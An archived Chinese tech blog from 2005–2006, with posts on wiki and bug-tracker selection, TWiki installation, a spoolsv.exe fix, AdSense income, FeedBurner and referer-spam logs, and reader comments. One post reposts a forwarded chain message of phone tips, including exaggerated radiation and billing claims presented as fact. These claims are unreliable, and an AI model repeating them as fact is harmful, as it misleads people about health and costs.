以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

炎 · 2006-02-26 09:34

德文记得webloen也是在德国

Apache的后台开发管理系统

Tue, 21 Feb 2006 00:04:01 +0800

上周末和老肖聚会，见到了BugFree的作者刘振飞。BugFree是国内很成功的一套开源Bug跟踪系统；基于PHP/MySQL架构。下午聊的内容很多也是关于网站和软件开发过程一些流程系统。振飞在微软工作过一段时间：而微软内部的Bug Tracking系统Product Studio是他认为最强大的工具之一。BugFree的很多设计如果是借鉴了Product Studio，那么开发者也能从中感受一下微软成功的开发过程。

我个人对开源软件的开发了解多一点。至少在Apache基金会上可以看到他们使用的是以下几个系统的组合： 版本控制： 最早使用的是CVS，目前已经迁移到了SVN上。 **Bug/Issue Tracking: ** （可选）JIRA(Java)或者BugZilla 文档共享： Apache目前选择的WIKI平台是：MoinMoin(Python) **邮件列表/归档： ** 记得以前用的是EyeBrowse(Java)

创建一个Apache项目的完整列表： http://www.apache.org/dev/project-creation-tasks.html

我现在想学习的几个方面： 0 如何将以上几个系统整合起来：如：CVS和BugTracking机制的集成，形成一个个人的工作平台中心, 我想到的是RSS 1 如何将以上几个系统的用户认证单独出来：通过LDAP这样轻量级的认证协议； 2 通过全文引擎：将所有内容索引起来，更方便的查找;这方面我想到的是Lucene;

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

xyb · 2006-02-21 10:43

“BugFree是国内很成果的一套开源问题跟踪系统……”，很成果？是很有成果，还是很成功？

博客之声 · 2006-02-23 13:28

车东您好,

经常关注您的博客. 博客之声网站现诚挚邀请您加入, 让您的博客每月能获得300-6000元的广告赞助.

博客之声的宗旨是为您的博客找到最合适最有价值的广告赞助商. 赞助价格由您自己决定, 是否接受某个品牌赞助也由您自己决定.

请点击访问我们网站: http://www.bokevoice.com/ 欢迎您提出宝贵意见.

博客之声 | BokeVoice

test · 2006-02-24 16:52

你想过扩展wiki吗？我们用SVN+JIRA+WIKI(我们大力地扩展了mediawiki)

imcaptor · 2006-03-31 14:52

我们用了CVS，大家还基本能搞明白，一个工具的推广不能太快。 bug管理工具我们用的BugFree，老外的东西往往对中文支持有问题，比如Bugzilla;) 文档共享我们通过沟通，MSN，或者CVS。

andy_haha · 2006-04-04 18:11

本月脑筋急转弯

Mon, 20 Feb 2006 12:20:15 +0800

上次的脑筋急转弯回应很多。

本月再转载一份，感谢作者王天天 ;-)

WangChen的考题:

我第一次看答对了0个……笨，不过知道1道题的原理，其他的题就都明白了。

💬 历史评论

以下 64 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ALL开拓者 · 2006-02-20 12:27

手机服务退订：切记人工再确认

Sat, 18 Feb 2006 21:28:04 +0800

联通： 10109696 人工服务不能即时退订，只能重发退订申请。移动： 1860 人工咨询或者自动退定发送00000到186201

去年10月份的时候试用了一下雅虎通的无线雅虎通功能：使用起来不是很方便，当月就退定了，雅虎通上也显示解除了绑定。最近一查居然还在扣费用。只好通过联通的客服重发了退定信息。

哎，怪不得有良知的开发人员越来越多了离开了无线行业……

附后：

首先声明：这是我的一个朋友发给我的，我觉得现在有很多人可能都有以下列举的习惯，包括我在内（说的这五条我是全都有），最让我感到气愤的是第 4条，如果我的朋友不告诉我，我可能就一直被蒙在鼓里，多花冤枉钱。所以我很希望看到此帖的人一定要注意对比自己是否也有这样的习惯，并且尽可能的告诉自己的朋友，少让人上当。　　　　1、手机电池不要等到没电才充电。　　一般我们都会有一种想法就是手机的电池电力要全部放完再充电比较好基本上是没错的，因为我们在以前使用的充电电池大部分是镍氢( NiH )电池，而镍氢电池有所谓的记忆效应若不放完电再充的话会导致电池寿命急速减少。因此我们才会用到最后一滴电才开始充电。但现在的手机及一般IA产品大部分都用锂(Li)电池，而锂电池的话就没有记忆效应的问题。若大家还是等到全部用完电后再充的话反而会使得锂电池内部的化学物质无法反应而寿命减少。最好的方法就是没事就充电让它随时随地保持最佳满格状态，这样你的电池就可用的又长又久喔。这是从厂商那得到的讯息，并经过本身测试而得。　　　　3、手机剩一格时不要使用　　收讯满格与只剩一格时相比,发射强度竟然相差1000倍以上.所以……常讲手机的人……要注意哦 ……^0^、昨天从一位交大教授那儿获得一项很重要的讯息，那就是当你发现手机的收讯强度只剩下一格的时候，宁可挂断不谈或者是改用公用电话。千万不要再滔滔不绝、口沫横飞、浓情蜜意、欲罢不能、没完没了……为什么呢? 大家都知道手机的电磁波一直是让人担心的问题。而手机的设计为了在收讯较差的地区仍能保有相当的通话质量，会加强手机的电磁波发射强度. 当收讯满格与只剩一格时相比，发射强度竟然相差1000倍以上。　　　　　　5、手机费的寄生虫　　手机莫名其妙定置了无用短信,强烈建议大家都看一下自己有没有中招，最简单方法退订每月偷你手机费的寄生虫！中国移动在3.15被迫退出一项新业务，如果您是中国移动的手机用户，键入数字"0000"，发送短信至186201，数秒钟内将自动回复一条短信列表，显示您的手机上究竟订制了哪些短信服务，究竟是哪些短信服务商明着、暗着每月扣除您的手机费；键入数字"00000"，发送短信至186201，即可退订所有短信服务。　　　　下面一条是来自淘友 justjay 的补充，感谢这位朋友的及时补充，希望有更多的朋友如果知道其他有关手机里暗含的秘密，请不要吝啬，让这些黑幕都公之于众吧，我先替大家谢谢您了！　　补充一点~ 　　我们打电话的时候常常会为了正好赶在1:00前结束而庆幸,但其实并不是这样的,据一位中国移动的工作人员说,其实在你通话到0:55的时候就已经算一分钟了,所以0:55~~1:00的通话时间其实是算你2分钟的钱~~ 　　真是黑啊 ~~

💬 历史评论

以下 9 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

tinyfool · 2006-02-18 23:52

我的朋友llf是有良知的市场人员的代表,去年也离开了他原来所在的sp公司

eygle · 2006-02-19 09:24

用BableFish完成家庭作业

Wed, 15 Feb 2006 21:40:11 +0800

今天小侄子要我帮忙将一个“黑板报”翻译成英文：还好有AltaVista - Babel Fish Translation 对比了一下翻译结果，效果还不错哟。原文和直接翻译结果如下：

2006年1月28日星期日一.大海的保护大海洋里有珊瑚、鱼、海草……有了它们大海就不会污染，如果人们不注意保护它们，往大海里面扔脏东西，那大海就会遭到严重的破坏、污染，很多资源就会被浪费掉！

二.如何保持家庭卫生 1.勤洗手，常换衣。 2.天天扫地，天天擦地。 3.保持屋里干净整齐。 4.随时倒垃圾。 5.按时收拾房间。

三.花草树木的保护 1.不砍、砸花草树木。 2.给花草喷药、打药。 3.不践踏花草。 4.多种植花草树木，保护环境。

        白家庄小学

二年级三班雷鸣

翻译结果

On January 28, 2006 Sunday

In the sea protection big sea has the coral, the fish, the seaweed… … Had their sea not to be able to pollute, if the people did not pay attention protect them, threw the dirty thing toward the sea inside, that sea could encounter the serious destruction, the pollution, very many resources could waste!

FreeMind: 本月SourceForge推荐项目

Tue, 14 Feb 2006 17:15:04 +0800

本月：2006-02 SourceForge推荐项目：FreeMind

mindmap：思维导图。是去年学到的一种整理思路的方法：将思路按照树状的结构进行线索的清理。FreeMind就是一个专门用于画mindmap的一个免费的桌面画图工具。

下载：FreeMind是用Java写成的，需要有Java 1.4 也有Windows下的安装工具。 http://sourceforge.net/project/showfiles.php?group_id=7118

使用：个人感觉FreeMind的几个优点 0 开源，免费，程序速度快； 1 画思路图最重要的一点就是随心所欲，而FreeMind的操作：包括节点的创建等大部分操作可以通过键盘操作，可以在思路不受任何干扰的情况下进行节点的扩展操作； 2 而完成后的思路树整理，也可以通过节点的托拽进行； 3 新版的增加了 undo 和各种图标操作；

更新：2月18日被Solidot了一把；

感谢老肖：教了我一招，将我整理的FreeMind简介附在下面

以下是SF对FreeMind开发人员采访的：部分摘录 Why do you think your project has been so well received? 项目为什么成功

Juan: It is easy to use, intuitive, and powerful.

Dan: It fills an important gap, and in doing so, it has or at least had virtually no free or open source competition. Though it’s multi-platform by means of Java, it is fast.

AdSense的支票托收

Sun, 12 Feb 2006 18:31:23 +0800

去年在冯衍同学的桑林志上看到过：Google Adsense 支票托收问题上个月收到一张 Google Adsense 支票，今天去了一趟银行。银行的工作人员告诉我，大概一个月后钱能到账户上，手续费约5000日元，等于支票上钱数的三分之一。…… 5000日元相当于50$，收一张100$的支票，要花掉50$的手续费，蛮可笑的。Google一开始给中国大陆地区的支票是通过花期银行CITIBANK，以前咨询过：花期银行托收一张的手续费是70$，而路对面的中国银行托收仅需要30￥。办一张带美元帐户的存折就可以了。现在支票的签发行改为香港汇丰了吧，手续费和周期也是一样：要1,2个月左右。

如何估算自己网站的AdSense收入呢：我看了一下自己网站AdSense的点击率：已经从初期的0.5%降到了目前的0.2%左右。大约3个月收到一次Google的支票，这样一年下来大约2000-3000人民币。和我自己的网站统计对比了一下：这个数值基本上等于我的网站上每天的访问人次。

所以简单的估算公式：网站每天的访问人次 = AdSense年收入（in RMB）

💬 历史评论

以下 16 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

tinyfool · 2006-02-12 20:06

我收到一次100刀,可惜现在已经被Google给封杀了……

Fenng · 2006-02-12 20:21

这麽快就写了?哈

lastexile · 2006-02-12 21:54

那收入也不错啊!

支撑网站空间的费用!

yee · 2006-02-12 23:20

为什么google不用支付宝？

duduwolf · 2006-02-12 23:40

你这个算法奇特，待我算一下自己的…

Fwolf · 2006-02-13 23:26

两年就能换台电脑了还是比较划算的比没有强

kafka2004 · 2006-02-14 01:42

我想计算一下alexa上面数据的意义想请你协助以下

http://www.alexa.com/data/details/traffic_details?q=&url=chedong.com

按照这上面的数据，你的网页每百万人中有100人左右访问，而你说你每天只有2000-3000人访问。那岂不意味着全世界每天只有2000万-3000万人上网？这个肯定太少，按照新浪的说法，他们每天的访问用户就接近这个数目，更不用提yahoo, google啦。

spoolsv.exe占用cpu 100%的解决方法

Thu, 02 Feb 2006 13:06:36 +0800

前几天，太太的笔记本遇到了spoolsv.exe占cpu 99%的的问题，要我帮她重新安装操作系统。我是懒得重装的，所以在网上搜索了一下：大部分关于这个问题的文章都是将相关打印后台服务给禁用解决的，可是这样就不能打印了，岂不有点因噎废食？后来从国外网站上找到了这篇文章：tim’s journal: spoolsv.exe hogging 99% of cpu - the fix

解决方法其实很简单，假设你已经使用了杀毒软件排除了病毒和已经使用防间谍软件排除了恶意软件的影响：

只要清空C:\WINDOWS\system32\spool\PRINTERS 目录下所有的文件即可。

而原因在Microsoft网站上也有文档说明：Windows 后台打印程序没有删除打印作业后台文件导致的打印程序可能会反复地尝试对该打印作业进行后台处理

解决方案：为避免发生此问题，请不要在打印后台文件位于 %Systemroot%\System32\Spool\Printers 文件夹中时更改它的属性。
要解决此问题，请删除只读属性，然后将该后台文件从 %Systemroot%\System32\Spool\Printers 文件夹中删除。

要删除只读属性，请右键单击 Windows 资源管理器或我的电脑中的后台文件，单击属性，单击清除只读复选框，然后单击确定。

有关如何在 Windows 2000 中删除文件的更多信息，请单击开始，单击帮助，单击索引选项卡，键入删除，然后双击删除文件主题。

2006-09-26更新：根据flyingrufei反馈的另外一个解决反复出现spoolsv这个问题方法：打印机有个后台管理的选项可以控制。将spoolsv服务打开(具体是在我的电脑—管理—-服务—PRINT SPOOL,启动),然后打开控制面板的打印机项目,右键打开打印机属性—高级,把后台打印改为直接打印—OK!

推广：遇到类似问题的应该挺多的，如果你也发现这个方法有用，请将 http://www.chedong.com/blog/archives/001117.html
这个链接加到你的blog里： html代码： spoolsv.exe

后记：一次和建硕聊天的时候，从也在微软工作的Wendy那里了解到：这个问题其实从Windows 2000开始就有了，但到XP一直没有解决。而微软也有相关的帮助文档，可惜就是在网上无法被用户搜索到，因为文档中没有任何关于spoolsv占CPU 100%之类的现象说明，所以说：开发者和用户之间的想法根本就是两回事儿。

💬 历史评论

以下 162 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

xxd · 2006-02-02 15:44

呵呵～非常实用的技巧～谢谢～

fbbs.info · 2006-02-06 19:02

一直以为这个进程是后门呢~

aas · 2006-02-07 14:55

长见识

matt · 2006-02-10 17:00

MT3.2中消失的index.rdf

Wed, 01 Feb 2006 12:58:53 +0800

建硕的中文blog恢复了：王建硕: 关于《创业公司的欲望》的评论，我这里怎么没有收到呢？我查看了一下：原来是升级后的MT3.2中缺省只有index.xml(RSS 2.0)和atom.xml 2种格式了，新安装MT后，原来那个index.rdf已经不更新了。

建硕可能是从本地缓存文件和DBM数据库中恢复安装的，仍然使用index.rdf订阅，只能收到旧的FEED。

相比之下：使用FeedBurner还是有好处的^_^

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

BunnyQ · 2006-02-01 23:33

我也是前阵子才发现index.rdf不更新的无意中来web看了一眼才发现有新文章没看过 hoho

poEdit: Windows下的.po文件编辑器

Tue, 31 Jan 2006 18:28:58 +0800

twiki在DakarRelease中加强了本地化的支持，可以给TWiki设置不同的本地语言界面，这个设置是通过locale/目录下的.po文件实现的，.po是GNU gettext项目的一套应用规范。是一种比较规范的l10n方案。’.po’是: Portable Object(可跨平台对象)的缩写，而创建/编辑.po文件过程中会生成相应的机器码binary的格式文件：’.mo’ MO是Machine Object。

元旦放假时翻译是用Notepad对着德文版的翻译一行一行翻译的。几个星期过去了，2月1日TWiki 4.0(DakarRelease)就要发布了，目前的状态是：

Our current status is this:
locale/da.po: 628 translated messages.
locale/de.po: 628 translated messages.
locale/es.po: 270 translated messages, 58 fuzzy translations, 300 untranslated messages.
locale/fr.po: 542 translated messages, 58 fuzzy translations, 28 untranslated messages.
locale/nl.po: 626 translated messages, 2 untranslated messages.
locale/pt.po: 628 translated messages.
**locale/zh-cn.po: 548 translated messages, 72 fuzzy translations, 8 untranslated messages.
locale/zh-tw.po: 548 translated messages, 72 fuzzy translations, 8 untranslated messages.**

Instructions for posting patch against translations are available at:
[http://twiki.org/cgi-bin/view/Codev/DakarReleaseTranslations](http://twiki.org/cgi-bin/view/Codev/DakarReleaseTranslations)

由于中间开发过程中又有一些文字的修改，这时候再用Notepad编辑，中间已经有些内容很难定位和识别状态了。以前知道Linux平台下有2个分别在KDE和gnome平台下的PO编辑器：GTranslator和KBabel，我尝试了找了一下，发现了另外一个可以运行在Windows下面的.po编辑器：poEdit，使用界面如图

AJAX技术如何节省应用的带宽：多次交互，每次少量更新

Wed, 25 Jan 2006 22:14:11 +0800

Using AJAX to Improve the Bandwidth Performance of Web Applications这篇文章十分量化的说明了AJAX技术如何节省应用的带宽。我将文章中的2次测试的效果截图用画图组合对比了一下：这样看效果更明显一些

这里有几个基本的结果： 1 包含ajax的应用首次下载要比一般页面刷新方式的应用大：Usage Analyser的ajax版大小12387，原大小9741字节 2 AJAX应用在后面的交互中：只刷新部分需要更新数据 2-3k 而传统的整页刷新模式需要整页重载: 10k左右 3 交互次数越多，AJAX应用的带宽节省效果越明显； 4 整页刷新模式虽然需要重新载入图片等：但由于通知了客户端使用本地缓存的图片和JS等：因此没有重新产生流量，

在此次条件的试验过程中：ajax技术总计节省了超过61%。远远超过预期的50% 而且随着交互次数增加，节省率还会更高。

AJAX技术比刷页方式节省带宽的比例换算公式： ( 交互次数(刷页交互流量 - AJAX交互量) - (AJAX版首次加增加量) ) / (刷页*交互次数 + 首次加载页面大小)

💬 历史评论

以下 10 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

herock · 2006-01-26 12:53

用数字说话，有说服力！这个公式也很实用。

yee · 2006-01-28 20:54

是不是MT的Blog字体都是这么淡，不好辨识

POO · 2006-02-14 09:48

酱油小子引用了这篇文章

Trackback: http://spaces.msn.com/jiangyouxiaozi/

CetaMac · 2006-02-21 10:25

国内好像还没有很好的AJAX应用平台

conku · 2006-03-20 20:28

FeedBurner的更新频度: 30分钟同步一次

Fri, 20 Jan 2006 00:17:34 +0800

今天看了一下FeedBurner的同步策略：他们在带宽的节省方面还是下了很大的工夫的。

首先最近3天的日志中：只有少量的是真正产生流量的200访问，大部分都向服务器发送了缓存校验，服务器返回是304（未更新）只有当有新条目生成的时才返回新的内容。而收到新条目后，FeedBurner还会发送HEAD校验一下新条目URL是否存在。

grep http://www.FeedBurner.com chedong_access_log.200601*|awk ‘{print $0}’|grep -v 304 chedong_access_log.20060117:66.150.96.109 - - [17/Jan/2006:06:00:52 +0800] “HEAD /blog/archives/001065.html HTTP/1.1” 200 0 “-” “FeedBurner/1.0 (http://www.FeedBurner.com)” 66.150.96.109.36261137448852425 chedong_access_log.20060118:66.150.96.109 - - [18/Jan/2006:11:47:43 +0800] “GET /blog/index.rdf HTTP/1.1” 200 29845 “-” “FeedBurner/1.0 (http://www.FeedBurner.com)” 66.150.96.109.312341137556063122 chedong_access_log.20060118:66.150.96.109 - - [18/Jan/2006:12:49:59 +0800] “GET /blog/index.rdf HTTP/1.1” 200 32033 “-” “FeedBurner/1.0 (http://www.FeedBurner.com)” 66.150.96.109.234351137559798399 chedong_access_log.20060119:66.150.96.109 - - [19/Jan/2006:13:03:27 +0800] “HEAD /blog/archives/001111.html HTTP/1.1” 200 0 “-” “FeedBurner/1.0 (http://www.FeedBurner.com)” 66.150.96.109.127431137647007148

原始日志：大约30分钟左右同步一次：虽然访问频度很高，但是产生流量的只有少数的几次。

分布式应用日志的集中化存储

Wed, 18 Jan 2006 12:18:41 +0800

对于很多分布式的大流量产品（比如：计数器）来说，随着服务器的分布，日志的集中管理就变得有些麻烦：比如前端多台Web Server的日志统计，传统的解决方法是定期（每小时，每天）截断日志，然后通过FTP 传到一台服务器上进行统一处理，在有些日志的计算处理前，还需要考虑日志的排序问题。

 [App Server]   [App Server]  [App Server]  [App Server]
                  \                     |                    |                  /
                             via FTP / SCP daily cron
                                          |    |
                           [Logging Server] (sort merge)
                                           /    \
                          [other stats]   [other stats]

这样的日志同步可以支持几台到十几台规模的并发服务。单当管理的服务器达到几十台，而且有大量的服务器中间会有上线/下线变更的时候，集中的日志定期同步更显得非常难于管理，而日志的同步由于要避开白天的高峰，往往需要用凌晨的低峰时段进行同步，24小时下来，上G的日志同步也是风险很高的操作。而成为瓶颈的日志排序合并操作也会妨碍其他后续计算的周期。

如果能实现应用分布但日志集中式的远程存储，以上的定期(压缩)同步和合并排序就都显得不必要了，而且日志的主要瓶颈：排序汇总也能省略。集中式的日志服务显然不是通过网络文件系统(NFS)，保证日志的效率和系统的容错性的关键在于：日志的处理不是要求5个9以上的精确度（少量的出入是可以接受的），因此通过UDP协议或者方式实现在小局域网内部的日志广播，然后在后面多台服务器上实现各种日志处理的并发计算。而日志的截断等操作，也可以在后台实现，从而保证前台服务的不中断进行情况下的后台并发实时计算。使用集中化的日志(centralized logging)服务后，网络结构如下：

 [App Server]   [App Server]  [App Server]  [App Server]
                  \                     |                    |                  /
                             via UDP or Broadcasting 
                                          |    |   |
    [Logging Server(syslogd)]  <=backup=>   [Logging Server(udplogd)]  [Real time monitor]

更多参考资料： Mod_log_spread: 基于广播的日志分布(Apache模块)

Interpreting the Data: Parallel Analysis with Sawzall：并发的数据分析大规模系统的关键是设计方便让数据能够被多台服务器并发处理

TWiki DakarRelease安装备忘

Sun, 15 Jan 2006 21:38:50 +0800

上周和建硕聊天的时候，我提到了新年打算不再花太多时间写BLOG，blog毕竟只是一些碎片，而更有意义的是将这些碎片整理起来。我尝试了很多方法，发现还是使用wiki这种方式比较好。

Wiki的发布工具去年年底有2个比较重要的发布：都显示了各种wiki系统的成熟 MediaWiki(Wikipedia的后台): 1.5版本发布

TWiki 的后台平台是用：Perl写的，TWiki从2001年的发布版本开始：使用城市的名字作为版本命名，每次重大的版本相隔1年左右 2001年叫雅典(Athens), 2003年的北京(Beijing), 2004年的开罗(Cairo)：也是目前用的最多的稳定发布版 2005年底发布Beta测试版的达喀尔(Dakar)：已经是稳定版了。这个版本的优势在于： 1 国际化：重构的框架使得本地化的界面更加方便，我已经完整翻译了中文界面 2 更方便的安装：有了一个全局变量的configure界面是web方式管理的。但是实际上仍然比较麻烦，因为需要了解很多的apache的配置，如果对 .htaccess配置不熟悉，还是比较麻烦的； 3 子目录的支持等； 4 可视化的编辑器：WSYIWSG的编辑TWIKI 对于TWiki语法的高门槛来说，可视化编辑是非常重要的改进；

2月1日： TWiki如期发布了4.0

以下就是我的安装手记：

下载最新版本并解包：注意，一定将 TWiki-4.0.0.tgz复制到某个目录下，比如：twiki后再解包 cp /home/apache/chedong.com/twiki ; cd /home/apache/chedong.com/twiki; tar zxf TWiki-4.0.0.tgz

网站的规划

说明以下TWiki应用的发布格式 http://www.EXAMPLE.COM/TWIKI_DIR/BIN/ACTION/WEB/TopicEntry EXAMPLE.COM：主机名称 TWIKI_DIR：安装目录； BIN: twiki的程序目录； ACTION: 操作名称，wiki所有的输出都是通过脚本格式化以后，所以全部是动态发布，包括在线的编辑(edit) 修改(change) 查看(view)等，后台的存储结构是纯文本，不需要任何数据库的支持； WEB: twiki上的内容是可以分目录(web)管理的，缺省的有Main(用户) TWiki(系统配置和参考文档) Sandbox(测试)，自己网站的内容最好不要和以上内容混放在一起，最好规划到另外的目录下：比如Tech Project等； TopinEntry：条目，就是具体内容了，TWiki要求所有条目都使用WikiWord（有交替大小写出现，像骆驼的驼峰，所有也叫CamelWord）

将目录下的文件设置为apache的运行用户可写入，比如：服务器上使用apache帐号 sudo chown -R apache *

规划twiki程序和数据的安装目录 程序在服务器上的物理目录是： /home/apache/chedong.com/twiki 设计发布目录在： http://www.chedong.com/twiki/bin/view

以下是apache的一段config样例：

ScriptAlias /twiki/bin/ "/home/apache/chedong.com/twiki/bin/" Alias /twiki/ "/home/apache/chedong.com/twiki/" Options +ExecCGI SetHandler cgi-script Allow from all Options FollowSymLinks +Includes AllowOverride None Allow from all deny from all deny from all

本地应用配置 创建/bin/LocalLib.cfg，在bin哪柯技下缺省有一个/bin/LocalLib.cfg.txt 设置其中的目录指向lib目录 $twikiLibPath = ‘/home/apache/chedong.com/twiki/lib’;

Wiki发布系统的选型

Fri, 13 Jan 2006 08:01:41 +0800

虽然经历过使用Wakka被色情网站盗链当作图片服务的攻击，但一直没有放弃寻找一个Wiki平台的努力。知道最近休假期间，分别尝试了2个Wiki平台的搭建过程，算是对Wiki系统的发展有了一个初步的了解。尤其是初步试用了TWiki的DakarRelease的发布(稳定Beta版)和MediaWiki的1.5的发布。感觉Wiki发布系统在2005年成熟了很多。

和很多开源产品一样，开始的多种系统会向少数优秀平台集中：好比Blog发布工具，最后都集中到MovableType(Perl)和WordPress(PHP)这2个平台上，Wiki的发布系统也在向少数平台集中。我了解了Perl/PHP/Python/Java这几种开发语言的主流Wiki平台： Perl: TWiki非常著名的企业Wiki写作，在很多大公司有广泛的应用，非常完善的权限管理 PHP: MediaWiki(就是WikiPedia维基百科等项目的后台发布系统)，非常适合大规模/丰富主题的Wiki平台搭建；豆酷DokuWiki：完全使用文件实现，也是一个非常完善的小组wiki平台 Java: Confluence虽然商业版本的收费(开源)，但是对于非盈利组织是免费的，Apache基金会的很多项目都是用Confluence+JIRA(变更管理工具)协作开发； Python: TRACTrac和SVN的集成是Python内部协同开发环境的绝妙搭配；MoinMoin：也是一款非常经典的Wiki平台。

我主要从以下几个方面对比了以上几个系统： 1 从企业级应用来说：安全性和权限控制是非常重要的，虽然这不符合wiki的文化：任何人可以编辑任何东西，自组织。但是随着spam和其他问题的出现，认证/审计还是非常必要的。 2 国际化支持：中文的界面，方便大多数中文用户使用，但TWiki目前不支持用UrlEncode后的中文创建主题； 3 扩展性：用TWiki代替PPT生成SlideShow 用TWiki代替Excel进行表格计算和生成图表， 4 安装和维护性：相对来说TWiki Dakar的安装比以前要简化了很多，但是仍然 5 后台数据库和容量限制： TWiki是文本目录库方式存储，同一个库下文件数量太大还是有问题的。使用数据库的WikiMedia非常适合创建主题丰富的百科全书网站。 6 Wiki语法的易用性：不是主要问题，各种扩展的格式化工具条可以解决大部分问题。虽然Wiki语法对于一般用户来说还是一个比较高的门槛，虽然几种平台之间都有一定的差异，但是如果考虑到大部分平台都有对应的FF工具栏，所以wiki的书写基本上是不会太依赖写字板的，相对风格来说，最常用的索引列表格式： MediaWiki = Confluence TWiki = TRAC

最后是TWiki和MediaWiki的PK： TWiki的优点：不需要数据库？！是的，TWIKI完全是一个不需要任何数据库，完全基于文件目录的格式化引擎，所以非常适合企业内部进行文档的共享。而丰富强大的插件，也是Perl丰富的历史遗产所有的优势。在百科全书级别的条目编制：MediaWiki的优势了，而且可以非常好的处理中文主题。但MediaWiki在权限管理方面稍微弱一点，缺乏精确到条目级别的权限控制。

综合以上因素，最后还是决定使用TWiki搭建自己的，也算是推广一下TWiki在中文世界中的使用吧。

后续： MediaWiki的安装笔记 TWiki的安装笔记

💬 历史评论

以下 8 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

cube316 · 2006-01-13 10:17

正好遇上这个问题：

http://cube316.net/blog/archives/200601/36

MediaWiki似乎还不支持PHP5+MYSQL5的组合，着实让人郁闷。

而且官方网站已经被banned了，许多资源不能访问，只有sourceforge上的网页可以看看。

Daniel · 2006-01-13 11:03

个人比较喜欢Mediawiki和Trac. 对了车东, 你的TypeKey设置好像不对, 不能用TypeKey评论.

Haohappy · 2006-01-13 16:53

我比较喜欢数据库驱动的Mediawiki。

To cube316：你可以试试coWiki PHP5+MySQL http://www.cowiki.org/

脑筋急转弯你答对了几个？（需要用IE浏览器）

Thu, 12 Jan 2006 16:56:24 +0800

作者：王天平

年终总结：2005 chedong.com 年终小结

Sat, 31 Dec 2005 17:57:10 +0800

日志统计分析：年底流量小结刚好用上WebLeon那里学到的FireFox截屏插件

2005年chedong.com主要使用了以下几套系统：首页生成： Lilina/MagpieRSS Blog发布： MT del.icio.us Flickr 流量分析： AWStats, Google Analytics 点击统计: mybloglog.com referer统计: Booso的referer引擎

感觉： CMS的各个环节都在向向在线的服务发展；然后通过RSS/JS将各种服务粘合起来；

明年：经历了4月份被Google封掉，总体的访问人次还是上升了不少。Blog这样的碎片整理总体上还是不够，很久没有整理tech下的文档了，最近打算再学习一下TWiki的配置。

💬 历史评论

以下 9 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

失去记忆 · 2005-12-31 19:17

你好，请问你使用的是哪个blog程序~~~~~告诉我好吗？我想换这个

cero · 2006-01-01 00:51

新年快乐!新年快乐呵~~

gallonang · 2006-01-01 19:55

新年快乐，，很多程序都没听过，呵呵

stephen · 2006-01-02 05:28

如果有前一版本的話3.x 而又沒有以上問題的~~ 可以send至我的email 嗎? 因為我真的想架個mt…

stephen · 2006-01-02 05:30

我的mt遇到以下問題 http://stephen.blog-journals.com//cgi-bin/mt.cgi 他轉了protochol做included… 我想你也遇過~ 有辦法解決嗎? 感激不盡

yutao · 2006-01-11 10:40

请问chedong，您用的是哪里的空间呢，也想架设一个MT

chris · 2006-01-11 17:57

Chedong兄,请教一件事使用lilina的时候,我发现时区有点不对劲(今天下午才显示11日),而且别人的时间也都是乱的,11日发表的文章,显示却是10日的.

Google产品地图

Fri, 30 Dec 2005 23:17:36 +0800

[![](http://static.flickr.com/40/75915254_0c4f381d49_m.jpg)](http://www.flickr.com/photos/94smart/75915254/) [googlemore](http://www.gsx.name/article.asp?id=118)

Originally uploaded by 94smart.

出处: [http://www.gsx.name](http://www.gsx.name/)

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

RainX · 2005-12-31 11:47

这个很适合用freemind来画

遭遇Referer Spam

Thu, 29 Dec 2005 16:19:11 +0800

从最近的流量统计中发现了非常奇怪的现象：某些PV很大的来源流量居然为0

IP地址         国家 PV          流量
69.28.242.87	US	11452		0.28  M字节
64.193.62.232	US	10521		0
66.246.218.107	US	6010		54.59 M字节
69.73.166.108	US	5630		0
61.183.207.98	CN	3047		27.06 M字节
221.11.5.181	CN	2392		66.88 M字节
66.246.120.114	US	2207		0

从原始日志上看：都是类似以下的0流量 HEAD请求

69.28.242.87 - - [29/Dec/2005:13:41:10 +0800] "HEAD / HTTP/1.1" 200 0 "http://bankruptcy.dynu.net/buy-cialis/buy-cheap-cialis.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 69.28.242.87.253451135834870862
69.28.242.87 - - [29/Dec/2005:13:45:24 +0800] "HEAD / HTTP/1.1" 200 0 "http://medportal.dynu.net/mortgage/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 69.28.242.87.262371135835124636
69.28.242.87 - - [29/Dec/2005:13:52:51 +0800] "HEAD / HTTP/1.1" 200 0 "http://fenikrul.white.prohosting.com/phentermine-online.html" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 69.28.242.87.279061135835571753
69.28.242.87 - - [29/Dec/2005:14:04:05 +0800] "HEAD / HTTP/1.1" 200 0 "http://fenikrul.white.prohosting.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 69.28.242.87.269751135836245577
69.28.242.87 - - [29/Dec/2005:14:13:17 +0800] "HEAD / HTTP/1.1" 200 0 "http://medportal.dynu.net/buy-viagra/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" 69.28.242.87.302561135836797409

每次请求“客户端”只向服务器发送请求，但是目的是为了能将referer中的地址被统计到当前网站的统计系统中，如果统计系统是对外公开的话而且是有超链形式的链接的话（虽然几率非常低），搜索引擎的spider抓取到以后，就会被计坐指向spam网站的链接。一个机器人每天可以对千万级的网站进行referer发送。只要其中十万分之一的网站能够对其中的"中招"，大量的反向链接就制造出来了。而被连接的网站可以轻易的得到很高的PageRank;而spam所付出的代价仅仅是向这些网站发送一些空请求的少量带宽. 如何防止这样的HEAD请求呢，谁知道有什么模块可以滤掉这些流量？

Firefox扩展查看器：常用插件列表

Wed, 28 Dec 2005 18:25:37 +0800

